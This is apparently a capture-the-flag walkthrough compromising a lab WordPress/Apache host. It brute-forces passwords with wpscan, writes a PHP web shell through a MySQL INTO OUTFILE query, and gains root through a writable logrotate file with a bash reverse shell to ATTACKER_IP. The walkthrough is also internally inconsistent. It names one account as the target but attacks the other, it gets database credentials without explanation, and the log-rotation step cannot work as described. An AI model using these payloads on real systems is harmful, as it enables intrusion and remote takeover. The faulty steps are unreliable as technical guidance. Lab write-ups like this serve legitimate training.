Network Reconnaissance and Service Discovery

The assessment begins with live host discovery to isolate active targets within the configured subnet. Utilizing lightweight ping sweeps efficiently identifies the machine allocated for this exercise.

nmap -sn 192.168.1.0/24 -oN active_hosts.txt

Upon confirming the target address, a high-speed full-port scan reveals a single open service:

nmap -sT --min-rate 8000 -p- 192.168.1.105 -oN open_ports.txt

The results indicate TCP port 80 is the only listening service. A subsequent version and operating system fingerprint scan confirms the host runs Debian, serving a default Apache 2.4.25 instance with no immediately obvious application frameworks.

nmap -sV -sC -O -p 80 192.168.1.105 -oN service_details.txt

Web Interface Mapping

Navigating to the root URL serves the stock Apache landing page. Automated directory probing and vulnerability scripts, however, expose several non-standard paths, notably a WordPress deployment and a database administration panel. Manual verification confirms both interfaces are reachable. Direct login attempts against the database console fail due to strict authentication defaults, shifting focus to the CMS footprint for information gathering.

nmap --script http-enum,http-vuln* -p 80 192.168.1.105 -oN web_enum.txt

CMS Fingerprinting and Credential Extraction

Deployment of wpscan isolates valid account names and tests them against curated wordlists. The scanner successfully reports two registered usernames: lemon and orange. Prioritizing the secondary account accelerates credential recovery.

wpscan --url http://192.168.1.105/wordpress -U lemon -P /usr/share/wordlists/rockyou.txt

While the administration panel shows minimal installed plugins, obtaining database access provides a faster route to system interaction. Successfully authenticating to the database management interface grants direct query execution capabilities.

Initial Foothold via Database File Write

Inside the database console, verifying export permissions is required before attempting out-of-band file creation. The secure file privilege setting dictates allowable write locations:

SHOW GLOBAL VARIABLES LIKE 'secure_file_priv';

When the output permits unrestricted exports or aligns with the web root, we craft a query to inject a remote command execution script directly into the public directory:

SELECT CONCAT('<?php shell_exec($_GET["exec"]); ?>') INTO OUTFILE '/var/www/html/exec.php';

Executing the generated file through a browser or HTTP client provisions a functional web shell under the www-data context.

Privilege Escalation Vector

Running sudo -l returns zero permitted commands. A SUID binary sweep highlights pkexec, though kernel mitigations restrict immediate exploitation. Auditing scheduled tasks uncovers a misconfigured log rotation utility. Inspection reveals that the associated configuration file carries world-wriatble permissions (777).

find /etc/cron* /etc/logrotate* -perm -o+w 2>/dev/null
ls -la /etc/logrotate.d/application-logs.conf

This permission oversight enables arbitrary code injection into the daemon's execution loop. Replacing the benign log archival routine with a persistent root handler ensures automatic elevation once the scheduler fires:

#!/bin/bash
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

After placing the modified script and initiating a listener, the cron daemon executes our payload, returning an elevated session.

Objective Completion

Promoted to the highest privilege tier, traversing standard restricted directories locates the final verification artifacts. Displaying the protected contents confirms successful compromise.

cat /home/user/user.txt
cat /root/root.txt